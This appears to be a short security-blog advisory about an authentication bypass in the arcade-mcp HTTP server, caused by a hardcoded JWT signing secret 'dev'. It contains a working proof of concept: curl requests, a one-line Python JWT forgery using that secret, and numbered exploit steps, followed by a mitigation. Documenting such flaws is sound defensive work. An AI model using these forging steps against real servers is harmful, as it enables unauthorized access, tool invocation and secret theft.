Listen to this Post
The vulnerability stems from a hardcoded default JWT signing secret (“dev”) in the arcade-mcp HTTP server. During server startup via the standard command python server.py http, the `ArcadeSettings.server_secret` defaults to “dev”. This value is passed without validation through `create_arcade_mcp()` to the FastAPIWorker. The `BaseWorker._set_secret()` method accepts this default without enforcement for rotation. Consequently, the worker’s signing key remains constant and publicly known. Attackers can trivially forge HS256 JWTs using this known secret. The FastAPI authentication middleware (arcade_serve/fastapi/auth.py) trusts any JWT signed with the worker secret, and the core auth layer cannot differentiate forged tokens from legitimate ones. This design flaw allows unauthenticated remote attackers to bypass authentication entirely.
Platform: arcade-mcp HTTP server
Version: Pre-PR 691
Vulnerability: Authentication Bypass
Severity: Critical
date: Not specified
Prediction: Patched in PR691
What Undercode Say:
Showing bash commands and codes related to the blog
curl -s -D - http://127.0.0.1:8000/worker/tools
import jwt
jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256')
curl -H "Authorization: Bearer <forged_token>" http://127.0.0.1:8000/worker/tools
how Exploit:
1. Identify target server.
2. Forge JWT with secret “dev”.
3. Use token in requests.
Protection from this CVE
Set `ARCADE_WORKER_SECRET` environment variable to a strong, unique value before server startup.
Impact:
Full remote API control, unauthorized tool invocation, secret disclosure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

